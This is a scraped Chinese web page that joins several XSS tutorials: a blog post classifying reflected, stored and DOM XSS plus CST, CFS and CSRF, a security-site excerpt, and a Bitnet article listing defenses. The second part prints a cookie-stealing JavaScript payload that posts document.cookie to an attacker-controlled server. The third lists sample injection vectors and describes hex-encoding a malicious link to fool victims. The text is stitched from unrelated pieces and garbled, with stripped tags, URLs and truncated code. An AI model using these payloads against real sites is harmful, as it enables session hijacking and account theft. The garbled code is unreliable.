wzhj132 的BLOG
用户名：wzhj132
文章数：106
评论数：104
访问量：97865
注册日期：
阅读量：5863
阅读量：12276
阅读量：364327
阅读量：1059643
[匿名]51cto游客：
[匿名]51cto游客：
51CTO推荐博文
接触跨站攻击一段时间了，有了一些认识，现在先按自己的理解理一下思路。后续有时间在针对里面详细的攻击方法做详解。
一．跨站脚本介绍
跨站脚本攻击(XSS)是一种攻击技术,是攻击者将恶意代码插入到回应给用户浏览器的代码中的一种实例。跨站脚本的几个特点：
受害者：跨站作用在客户端，而不是服务端，即受害者是客户端而不是服务器。
跨站类型：反射式；持久式；基于DOM式；其它式（包括嵌入FLASH，PDF等其它载体）。
1. 非持久型XSS漏洞一般存在于URL参数中，需要访问黑客构造好的特定URL才能触发漏洞。
2. 持久型XSS漏洞一般存在于富文本等交互功能，如发帖留言等，黑客使用的XSS内容经正常功能进入数据库持久保存。
3. DOM XSS漏洞，也分为持久和非持久型两种，多是通过javascript DOM接口获取地址栏、referer或编码指定HTML标签内容造成。
4. FLASH,PDF等其他第三方文件所造成的特殊XSS漏洞，同样按应用功能也分为持久和非持久型。
对跨站三种类型的理解：客户端执行了 客户端提交给服务端，服务端返回的恶意代码。
反射型：服务端提取用户的输入，未做严格过滤，直接返回给客户端，客户端浏览器执行了代码。
1）对数据未做严格净化返回给客户端。
2）实现攻击需要点击攻击者构造的链接，每次点击完成一次攻击，因为不能保存。
1）对数据未做严格净化返回给客户端，客户端执行了恶意代码。
2）攻击者构造链接完成攻击，受害者点击正常的链接，就会受影响。因为代码已经被保存。
1）对数据未做严格净化返回给客户端，客户端执行了恶意代码。
2）服务端返回给客户端的是同样的代码（js代码），在客户执行的时候才出问题，在服务端的响应中是没有恶意代码的。DOM型可以是反射型或者存储型，在于js代码是否存储输入的值。
几个区别：
反射式和存储式的区别：
1）服务端对数据的处理方式：一个是保存后返回，一个是直接返回。
2）出现的触发点不一样：反射一般出现在返回错误信息等，而存储一般
出现在填写表单等。（本质是第一个的原因，看哪些情况是要保存数据的，哪些情况是不保存数据的）
3）是否是一次性的，反射是一次性，每次都要点。 存储不是。（本质也是第一个原因，因为存储保存了代码）。
所以综上，区别其实就一个，就是服务端有没有保存数据，其他就是根据特点得出的。
DOM式和上面的两个的区别：
DOM是因为服务端处理数据用的是js代码，不会对数据进行处理
而是到达浏览器后才处理的，所以在响应代码中是没有恶意代码的。它也可以是保存或者反射，在于js代码中有没有保存输入的值。
二．CST、CFS、CSRF
CST攻击是一种使用XSS和HTTP TRACE功能来进行攻击的方式。它是一种攻击技巧，可以利用它避开HttpOnly对cookie提供的保护，使之能够通过客户端JavaScript获取已经标记为HttpOnly的cookie值。
正常情况下，客户端脚本（如JS脚本）是可以通过document.cookie函数获得，这样如果有XSS跨站漏洞，cookie很容易被盗取。浏览器有一个安全策略，通过设置cookie的httponly属性，这样客户端脚本就不能通过document.cookie访问该cookie，即时有跨站漏洞，也不能盗取用户cookie。（注意：httponly属性对正常的HTTP请求并没有影响，即时Cookie设置了HTTPONLY属性，当用户浏览有效域中的站点时候，这个Cookie仍然被自动发送，只是不能使用脚本来访问该Cookie。(解释HTTPONLY）
一般客户端向服务器请求是利用HTTP GET和POST方式，但那只是常见，还有其它方式（详细参考RFC2616文档）。其中HTTP TRACE也是一种方式，这种向服务端请求信息主要用于调试web服务器连接用。如果请求有效，则在响应中会在实体中包含整个请求消息。（解释HTTP TRACE）
与XSS联系和区别：
联系：CST是XSS的一种子类，也属于XSS跨站漏洞。
区别：浏览器请求的方式不一样，普通的XSS一般通过GET和POST方式在页面上输入攻击脚本实现，但是CST如果要在页面上输入，需要找到会通过TRACE发送的输入点，一般是自己构造攻击报文在TRACE方法中进行发送。
测试相关：
由于普通的XSS攻击报文可以通过GET或者POST被提交，而CST则要通过TRACE来提交，由于比较少用，目前还未搜索到有页面输入框可以使用TRACE提交的。因此对它的测试需要注意，攻击脚本中需要自己提供发送函数，比如使用XMLHttpRequest发送请求（当然普通的XSS攻击也需要覆盖用XMLHTTPRequest发送GET、POST请求）。
测试总结：对CST的测试只需要将普通XSS的攻击特征脚本放在HTTP的TRACE位置发送出去就可以。
在浏览器的安全机制中，客户端脚本是不能访问不同服务器或域名的页面相关信息。而通过HTML的frame/iframe可以在页面中包含第三方服务器的页面，这样攻击者可以利用主页面的脚本程序获取到frame/iframe包含的第三方服务器的信息。
同源策略:客户端脚本是不能访问不同服务器或域名的页面相关信息,但是也有例外,可以通过设置document.domain解决，在两个不同域名的客户端脚本都设置document.domain为同个父域。（注意：两个域是要拥有同个父域这个方法才有效果），然后在主页面加载FRAME/IFRAME页面实现，主页就可以调用框架内的页面的元素。
与XSS的联系和区别：
联系：CFS是XSS的一种攻击子类，也属于XSS跨站漏洞。
区别：CFS主要利用HTML中的FRAME/IFRAME来实现跨站攻击。将他单独出来，主要是由于他攻击后效果不同，有一些特殊的场景。
测试相关：
CFS的测试和XSS的测试一样，被包含在XSS测试中，是它的一个子集，特征为frame和iframe关键字。如果针对性测试，就是对frame和iframe进行各种编码。
CSRF：cross site request forgery，跨站请求伪造。是一种将受害用户欺骗到包含有恶意HTTP请求的页面的攻击方式，这种攻击方式的危害性在于它继承了受害用户的实体身份和权限，即盗用了受害人的身份以其的名义进行非法的操作，比如篡改用户资料、用户密码、以及购买物品等。通俗的说，CSRF攻击是在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点，从而在未授权的情况下执行受害者权限保护之下的操作。
CSRF（XSRF）的本质：服务端对客户端的COOKIE校验不严格，导致被攻击者盗用。
1）情况一：站点B和站点A是不同站点，站点B中的请求代码URL没有包含脚本，而是正常的请求情况，只是利用了浏览器而浏览器不知道而已。这个时候用户点击恶意网站B发送给站点A的报文 和 用户真实发送给站点A的报文只有在referer字段有所区别。Referer字段会显示发送的起始域，也就是站点B。
2）情况二：站点B和站点A重合，这个时候利用站点B的存储XSS漏洞使得用户发送请求给站点A的其它页面。
3）情况三：站点B和站点A是不同站点，但是站点B中的请求的代码含有JS代码来实现相应功能。同时站点A有XSS漏洞，会使得传给站点A的代码返回到客户端执行。
以上三种情况仅情况二是比较特殊的，测试时候需要构造referer字段与用户登录的时候域不一样的域名，其它两种同XSS攻击无区别。
与XSS的联系和区别：
联系：CSRF可以利用XSS实现更有用的攻击（经常也这么用）。上述情
二和情况三就是利用XSS漏洞的情况。
区别：CSRF不是XSS的子类，他们的本质问题不一样。XSS本质是服务端对输入过滤不严而后输出的时候将客户端的脚本再输出。CSRF是服务端对用户的身份认证不严格（cookie等），使得攻击者冒充用户达到攻击目的。
测试相关：
对于CSRF测试，两个方面测试：
1）包括XSS测试，同XSS测试，重点在于请求方法。主要有两种：XMLHTTPRequest和带有SRC属性的标签(frame、iframe、img、input）等。
2）测试Referer域的URL是其它地址，非请求的本URL地址。
三. 跨站攻击整个学习思路：
& & &跨站本质--&跨站类型分析--&有效载荷内容（就是能完成什么攻击，攻击效果上）--&载荷传送方式--》检测漏洞方式&
CST和CFS都是在有效载荷内容上的区别。
CSRF本质跟XSS不一样，经常是利用XSS漏洞的功能完成载荷更复杂的功能，达到更好的攻击效果。
本文出自 “” 博客，请务必保留此出处
了这篇文章
类别：┆阅读(0)┆评论(0)如何防止跨站点脚本攻击(xss防护方法)
当用户点击发送时，这条消息会被保存在数据库中指定的数据表中，另一个用户当打开这条消息的时候将看到发送的内容。但是，如果一个恶意攻击者发送的内容包含了一些javascript代码，这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候，恶意的javascript代码就会得到执行，造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持，直接以合法用户的身份登录其他用户的账户.
恶意攻击者可以在消息框中加入一下javascript代码:
var url = &/index.php&; & //攻击者控制的服务器var postStr = &ck=& + document.var ajax =if(window.XMLHttpRequest()){ & &ajax = new XMLHttpRequest();}else if(window.ActiveXObject){ & &ajax = new ActiveXObject(&Microsoft.XMLHttp&);}else{ & &}ajax.open(&POST&, url, true);ajax.setRequestHeader(&Content-Type&, &application/x-www-form-urlencoded&);ajax.send(postStr);ajax.onreadystatechange = function(){ & &if(ajax.readyState == 4 && ajax.status == 200) & &{ & & & &//alert(&Done!&); & &}}
通过AJAX异步请求，将被攻击者的敏感cookie信息发送给了攻击者控制的服务器。攻击者随后即可利用这些cookie信息以&合法&用户的身份进行登录操作。
这里首先要理清楚几个重要的问题:
1. cookie的作用
Cookie，有时也用其复数形式Cookies，指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据（通常经过加密）。定义于RFC2109（已废弃），最新取代的规范是RFC2965。
也就是说，cookie是用户和服务器之间的桥梁。服务器可以使用session来保存用户的身份信息(ID,购物车等)，但是需要用户在访问网页(发送HTTP数据包)的时候附带上相应的cookie，通过cookie中的特定值来识别sessionID，才能把单独用户和单独的session联系起来。cookie是有状态HTTP交互的一种重要机制。
2. 浏览器的同源策略
在进行cookie窃取的时候，攻击者偷取的cookie是什么，是全部cookie，还是当前这个网站的cookie？要解决这个问题，我们要先了解一些浏览器的同源策略。
同源策略，它是由Netscape提出的一个著名的安全策略。现在所有支持JavaScript 的浏览器都会使用这个策略。所谓同源是指，域名，协议，端口相同。当一个浏览器的两个tab页中分别打开来 百度和谷歌的页面当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的，即检查是否同源，只有和百度同源的脚本才会被执行。
同源策略(Same Origin Policy)是一种约定，它是浏览器最核心也是最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。可以说web是构建在同源策略的基础之上的，浏览器只是针对同源策略的一种实现。
浏览器的同源策略限制了来自不同源的&document&或脚本，对当前&document&的读取或者设置某些属性。为了不让浏览器的页面行为发生混乱，浏览器提出了&Origin&(源)这以概念，来自不同的Origin的对象无法互相干扰。
因为同源策略的原因，也就导致了我们的 Payload(攻击代码)必须在我们希望攻击的同一个域下触发。例如攻击者如果想窃取在下的cookie，那就必须在这个域(可以是不同页面，但要保证是同一个域)下的的某一个页面放置代码，可以是存储型，也可以是反射型或DOM Baesd型的。
4. 攻击的种类
对的分类没有明确的标准，但业界普遍将攻击分为三类。反射型(non-persistent ), 存储型(persistent ), DOM Based
4.1 非持久性跨站点脚本攻击
非持久性也称为反射型跨站漏洞。它是最常见的类型的。漏洞产生的原因是攻击者注入的数据反映在响应中。如果你看了我们上面所示的例子,第一个例子是一个非持久的攻击。一个典型的非持久性包含一个带攻击向量的链接(即每次攻击需要用户的点击)。&&&[2]&&&&
【声明】:黑吧安全网()登载此文出于传递更多信息之目的，并不代表本站赞同其观点和对其真实性负责，仅适于网络安全技术爱好者学习研究使用，学习中请遵循国家相关法律法规。如有问题请联系我们，联系邮箱，我们会在最短的时间内进行处理。
上一篇：【】【】跨站式脚本(Cross-SiteScripting)XSS攻击原理
作者：红黑联盟
分类 : 比特网
　　XSS又叫 (Cross Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
　　使用过ASP的同学一定见过这样的代码：
　　Hello,
　　Response.Write(Request.Querystring("name"))
　　假如我传入的name的值为：
　　[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
　　这样就可以直接盗取用户的cookie。所以我就可以发送链接地址让别人去点：
　　当然这样做没有一点隐蔽性，虽然前面的瞒过了少数人，但大多数人可以辨认出后面的javascript代码，所以，我只需要将后面的javascript代码转换成URL的16进制，如：
　　上面的URL你还认得吗?除非你把它转换出来。(进制转换可以使用Napkin工具，哎，太坏了。。)
　　根本原因
　　1. 没有对输入进行约束，没有对输出进行编码
　　2. 没有严格区分“”和“代码”
　　发现大名鼎鼎的也存在这样的漏洞，我们在搜索框中输入：
　　这样，我们已经修改了原有的页面，在下面嵌入了的首页。效果如图：
　　使用时机
　　我尝试在各种不同网站寻找 XSS漏洞， baidu, , , 等等。结果，我发现XSS漏洞非常普遍!其实XSS利用的是网页的回显，即，接收用户的输入，然后再在页面显示用户的输入。总结 一下几个可能会出现漏洞的地方：
　　搜索引擎
　　1、留言板
　　2、错误页面
　　3、通过在上面那些类型的页面输入一些特殊的字符(包括 / ")，如：，然后在结果页中的源码处搜索是否存在原样的：，如果存在，恭喜你，发现了一个XSS漏洞。
　　分类 1. DOM-based cross-site scripting 页面本身包含一些DOM对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。如下面一些DOM操作： document.URL
　　document.URLUnencoded
　　document.location (and many of its properties)
　　document.referrer
　　window.location (and many of its properties)
　　举个例子，假如某个脆弱的页面的代码如下：
　　[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]攻击者使用如下的URL访问时，则非常危险：& 试了一下，貌似IE、FireFox等默认对alert(document.cookie)进行了编码，阻止了脚本的执行。但是对于DOM操作还是要更加谨慎啊，比如把上面的页面修改一下，性就增强了不少：
　　var pos=document.URL.indexOf("name=")+5;
　　var name=document.URL.substring(pos,document.URL.length);
　　if (name.match(/^[a-zA-Z0-9]$/))
　　document.write(name);
　　window.alert("Security error");
　　2. Reflected cross-site scripting 也被称为None-Persistent cross-site scripting，即，非持久化的XSS攻击，是我们通常所说的，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接菜能引起。 3. Persistent cross-site scripting 持久化XSS攻击，指的是恶意脚本代码被进被攻击的，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。 实施方式 我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX，发现参数XXX原样的出现在了页面源码中： OK，可以开始做文章了，我们将XXX替换为：abc"/&alert('haha') alert('haha') 这样，alert('haha')被执行了。这里再举例一些XSS攻击行为：
　　alert("XSS");//
　　alert('XSS');
　　BODY{background:url("javascript：alert('XSS
　　alert("XSS")'?&
　　a="get";
　　b="URL(""";
　　c="javascript：";
　　d="alert('XSS');"")";
　　eval(a+b+c+d);
　　危害 1、盗取各类用户帐号，如机器登录帐号、用户帐号、各类管理员帐号 2、控制数据，包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料 4、非法转账 5、强制发送电子邮件 6、网站挂马 7、控制受害者机器向其它网站发起攻击 防范 1、必须明确：一切输入都是有害的，不要信任一切输入的数据。 2、缓和XSS问题的首要法则是确定哪个输入是有效的，并且拒绝所有别的无效输入。 3、替换危险字符，如："&", "", """，"'", "/", "?"，";", ":", "%", "", "=", "+"。各种语言替换的程度不尽相同，但是基本上能抵御住一般的XSS攻击。 a.ASP中的Server.HTMLEncode： b.ASP.NET的Server.HtmlEncode及Server.UrlEncode： String TestString = "This is a ."; String EncodedString = Server.HtmlEncode(TestString); Server.UrlEncode(Request.Url.ToString()); 4、有些网站使用过滤javascript关键字的办法来防止XSS，其实是很不明智的，因为XSS有时候根本就不需要javascript关键字或者对javascript关键字进行格式变化来躲过过滤。 5、为所有的标记属性加上双引号。应该说这也不是万全之策，只是在转义了双引号的前提下的一道安全保障。比如： 不加双引号时，onclick被执行了： 加上了双引号，onclick不会被执行： 6、将数据插入到innerText属性中，脚本将不会被执行。如果是innerHTML属性，则必须确保输入是安全的。如ASP.NET中：
　　private void Page_Load(Object Src, EventArgs e)
　　// Using InnerText renders the content safe–no need to HtmlEncode
　　Welcome1.InnerText = "haha";
　　// Using InnerHtml requires the use of HtmlEncode to make it safe
　　Welcome2.InnerHtml = "Hello, " + Server.HtmlEncode("haha");
　　7、使用IE6.0SP1的cookie选项HttpOnly，注意，HttpOnly只能阻止恶意脚本读取cookie，并不能阻止XSS攻击。比如在ASP.NET中：
　　HttpCookie cookie = new HttpCookie("Name", "ZhangChangrong");
　　cookie.Path = "/; HttpOnly";
　　Response.Cookies.Add(cookie);
　　8、使用IE的的Security属性，设置为restricted后，frame中的脚本将不能执行(仅限于IE)。如： 9、ASP.NET中的ValidateRequest配置选项。默认情况下，这个功能是开启的，这个功能将会检查用户是否试图在cookie、查询字符串以及HTML表格中设置HTML或脚本。如果请求包含这种潜在的危险输入，就会抛出一个HttpRequestValidationException异常。我在尝试试探的XSS漏洞时发现这个异常，可以说当当网使用了ValidateRequest这个选项，或者从另一方面说，也许是无意中启用了这一选项，同时，将错误信息抛出给用户是非常不安全的。 a、给一个页面设置ValidateRequest选项： b、在Machine.config中设置全局ValidateRequest选项，注意，如果在Web.config中重新设置，不会覆盖Machine.config中的这一设置：
　　c、让我们来目睹当当网给我们带来的这一盛况：
　　10、在一些必须使用到HTML标签的地方，比如公告栏，可以使用其他格式的标示代替，比如论坛中广泛使用的BBCode，用[i]...["i]来表示斜体。 11、然而，对于一些允许用户输入特定HTML的地方，强烈建议使用正则表达式进行匹配。比如： if (/^(?:["s"w"?"!","."'""]*|(?:"))*$/i) { #Cool, it's valid input } 发现问题 1、查找所有包含用户输入的入口。 2、跟踪流入应用程序的每一个数据。 3、确定数据是否与输出有关系。 4、如果与输出有关，它是不是原始数据，是不是经过处理的?
[ 责任编辑：小石潭记 ]
比特网 11:19:00
带着朋友和机器人上月亮散步
比食人鱼更恐怖：长着人类牙齿的鱼
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯，最新的软件技巧，最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中，与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊！
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧，帮助网管答疑解惑，成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一，主要关注x86服务器，RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析，让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来，为读者提供企业存储领域高质量的原创内容，及时、全面的资讯、技术、方案以及案例文章，力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设，为企业级用户打造最具商业价值的信息沟通平台，并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比，比特安全周刊运作模式更加独立，对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事，为企业级用户打造重点突出，可读性强，商业价值高的信息共享平台；同时为互联网、IT业界及通信厂商提供一条精准快捷，渗透力强，覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展，全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托，汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台，并持续提供丰富的资讯和服务，探讨信息化建设，推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来，以定向、分众、整合的商业模式，为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容，包括IT新闻、评论、专家答疑、技巧和白皮书。此外，IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊，给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍，同时用户还能参与我们推荐的互动游戏，给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。